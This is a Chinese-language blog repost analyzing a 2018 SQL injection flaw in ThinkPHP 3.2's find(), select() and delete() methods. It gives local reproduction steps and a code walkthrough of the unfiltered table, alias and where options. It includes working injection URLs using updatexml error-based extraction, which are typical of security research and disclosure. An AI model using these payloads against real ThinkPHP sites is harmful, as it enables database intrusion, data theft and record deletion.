ThinkPHP3.2 框架sql注入漏洞分析(2018-08-23)

栏目: PHP · 发布时间: 6年前

内容简介:北京时间 2018年8月23号11:25分 星期四,tp团队对于已经停止更新的thinkphp 3系列进行了一处安全更新,经过分析,此次更新修正了由于下载源码:

0x00 前言

ThinkPHP3.2 框架 <a href='https://www.codercto.com/topics/18630.html'>sql</a> 注入漏洞分析(2018-08-23)

北京时间 2018年8月23号11:25分 星期四,tp团队对于已经停止更新的thinkphp 3系列进行了一处安全更新,经过分析,此次更新修正了由于 select() , find() , delete() 方法可能会传入数组类型数据产生的多个sql注入隐患。

0x01 漏洞复现

下载源码: git clone https://github.com/top-think/thinkphp.git

使用git checkout 命令将版本回退到上一次commit: git checkout 109bf30254a38651c21837633d9293a4065c300b

使用phpstudy等集成 工具 搭建thinkphp,修改apache的配置文件 httpd-conf

DocumentRoot "" 为thinkphp所在的目录。

ThinkPHP3.2 框架sql注入漏洞分析(2018-08-23)

重启phpstudy,访问 127.0.0.1 ,输出thinkphp的欢迎信息,表示thinkphp已正常运行。

ThinkPHP3.2 框架sql注入漏洞分析(2018-08-23)

搭建数据库,数据库为 tptest ,表为 user ,表里面有三个字段 id , username , pass

ThinkPHP3.2 框架sql注入漏洞分析(2018-08-23)

修改 Application\Common\Conf\config.php 配置文件,添加数据库配置信息。

ThinkPHP3.2 框架sql注入漏洞分析(2018-08-23)

之后在 Application\Home\Controller\IndexController.class.php 添加以下代码:

public function test()
    {
       $id = i('id');
       $res = M('user')->find($id);
       //$res = M('user')->delete($id);
       //$res = M('user')->select($id);
    }

针对 select()find() 方法 ,有很多地方可注,这里主要列举三个 tablealiaswhere ,更多还请自行跟踪一下 parseSql 的各个 parseXXX 方法,目测都是可行的,比如 having , group 等。

table:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--

alias:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--

where: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--

ThinkPHP3.2 框架sql注入漏洞分析(2018-08-23)

delete() 方法的话同样,这里粗略举三个例子, table , alias , where ,但使用 tablealias 的时候,同时还必须保证 where 不为空(详细原因后面会说)

where: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--

alias: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--

table: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user%20where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--&id[where]=1

ThinkPHP3.2 框架sql注入漏洞分析(2018-08-23)

0x02 漏洞分析

通过github上的commit 对比其实可以粗略知道,此次更新主要是在 ThinkPHP/Library/Think/Model.class.php 文件中,其中对于 deletefindselect 三个函数进行了修改。

delete 函数

ThinkPHP3.2 框架sql注入漏洞分析(2018-08-23)

select 函数

ThinkPHP3.2 框架sql注入漏洞分析(2018-08-23)

find 函数

ThinkPHP3.2 框架sql注入漏洞分析(2018-08-23)

对比三个方法修改的地方都有一个共同点:

把外部传进来的 $options ,修改为 $this->options ,同时不再使用 $this->_parseOptions 对于 $options 进行表达式分析。

思考是因为 $options 可控,再经过 _parseOptions 函数之后产生了sql注入。

一 select 和 find 函数

find 函数为例进行分析( select 代码类似),该函数可接受一个 $options 参数,作为查询数据的条件。

$options 为数字或者字符串类型的时候,直接指定当前查询表的主键作为查询字段:

if (is_numeric($options) || is_string($options)) {
            $where[$this->getPk()] = $options;
            $options               = array();
            $options['where']      = $where;
}

同时提供了对复合主键的查询,看到判断:

if (is_array($options) && (count($options) > 0) && is_array($pk)) {
            // 根据复合主键查询
            ......
        }

要进入复合主键查询代码,需要满足 $options 为数组同时 $pk 主键也要为数组,但这个对于表只设置一个主键的时候不成立。

那么就可以使 $options 为数组,同时找到一个表只有一个主键,就可以绕过两次判断,直接进入 _parseOptions 进行解析。

if (is_numeric($options) || is_string($options)) {//$options为数组不进入
            $where[$this->getPk()] = $options;
            $options               = array();
            $options['where']      = $where;
        }
        // 根据复合主键查找记录
        $pk = $this->getPk();
        if (is_array($options) && (count($options) > 0) && is_array($pk)) { //$pk不为数组不进入
            ......
        }
        // 总是查找一条记录
        $options['limit'] = 1;
        // 分析表达式
        $options = $this->_parseOptions($options); //解析表达式
        // 判断查询缓存
        .....
        $resultSet = $this->db->select($options); //底层执行

之后跟进 _parseOptions 方法,(分析见代码注释)

if (is_array($options)) { //当$options为数组的时候与$this->options数组进行整合
            $options = array_merge($this->options, $options);
        }

        if (!isset($options['table'])) {//判断是否设置了table 没设置进这里
            // 自动获取表名
            $options['table'] = $this->getTableName();
            $fields           = $this->fields;
        } else {
            // 指定数据表 则重新获取字段列表 但不支持类型检测
            $fields = $this->getDbFields(); //设置了进这里
        }

        // 数据表别名
        if (!empty($options['alias'])) {//判断是否设置了数据表别名
            $options['table'] .= ' ' . $options['alias']; //注意这里,直接拼接了
        }
        // 记录操作的模型名称
        $options['model'] = $this->name;

        // 字段类型验证
        if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) { //让$optison['where']不为数组或没有设置不进这里
            // 对数组查询条件进行字段类型检查
           ......
        }
        // 查询过后清空sql表达式组装 避免影响下次查询
        $this->options = array();
        // 表达式过滤
        $this->_options_filter($options);
        return $options;

$options 我们可控,那么就可以控制为数组类型,传入 $options['table']$options['alias'] 等等,只要提层不进行过滤都是可行的。

同时我们可以不设置 $options['where'] 或者设置 $options['where'] 的值为字符串,可绕过字段类型的验证。

可以看到在整个对 $options 的解析中没有过滤,直接返回,跟进到底层 ThinkPHP\Libray\Think\Db\Diver.class.php ,找到 select 方法,继续跟进最后来到 parseSql 方法,对 $options 的值进行替换,解析。

因为 $options['table']$options['alias'] 都是由 parseTable 函数进行解析,跟进:

if (is_array($tables)) {//为数组进
            // 支持别名定义
          ......
        } elseif (is_string($tables)) {//不为数组进
            $tables = array_map(array($this, 'parseKey'), explode(',', $tables));
        }
        return implode(',', $tables);

当我们传入的值不为数组,直接进行解析返回带进查询,没有任何过滤。

同时 $options['where'] 也一样,看到 parseWhere 函数

$whereStr = '';
        if (is_string($where)) {
            // 直接使用字符串条件
            $whereStr = $where; //直接返回了,没有任何过滤
        } else {
            // 使用数组表达式
           ......
        }
        return empty($whereStr) ? '' : ' WHERE ' . $whereStr;

二 delete函数

delete 函数有些不同,主要是在解析完 $options 之后,还对 $options['where'] 判断了一下是否为空,需要我们传一下值,使之不为空,从而继续执行删除操作。

......
        // 分析表达式
        $options = $this->_parseOptions($options);
        if (empty($options['where'])) { //注意这里,还判断了一下$options['where']是否为空,为空直接返回,不再执行下面的代码。
            // 如果条件为空 不进行删除操作 除非设置 1=1
            return false;
        }
        if (is_array($options['where']) && isset($options['where'][$pk])) {
            $pkValue = $options['where'][$pk];
        }

        if (false === $this->_before_delete($options)) {
            return false;
        }
        $result = $this->db->delete($options);
        if (false !== $result && is_numeric($result)) {
            $data = array();
            if (isset($pkValue)) {
                $data[$pk] = $pkValue;
            }

            $this->_after_delete($data, $options);
        }
        // 返回删除记录个数
        return $result;

0x03 漏洞修复

ThinkPHP3.2 框架sql注入漏洞分析(2018-08-23)

不再分析由外部传进来的 $options ,使得不再可控 $options['xxx']


以上所述就是小编给大家介绍的《ThinkPHP3.2 框架sql注入漏洞分析(2018-08-23)》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Real-Time Collision Detection

Real-Time Collision Detection

Christer Ericson / CRC Press / 2004-12-22 / USD 98.95

Written by an expert in the game industry, Christer Ericson's new book is a comprehensive guide to the components of efficient real-time collision detection systems. The book provides the tools and kn......一起来看看 《Real-Time Collision Detection》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试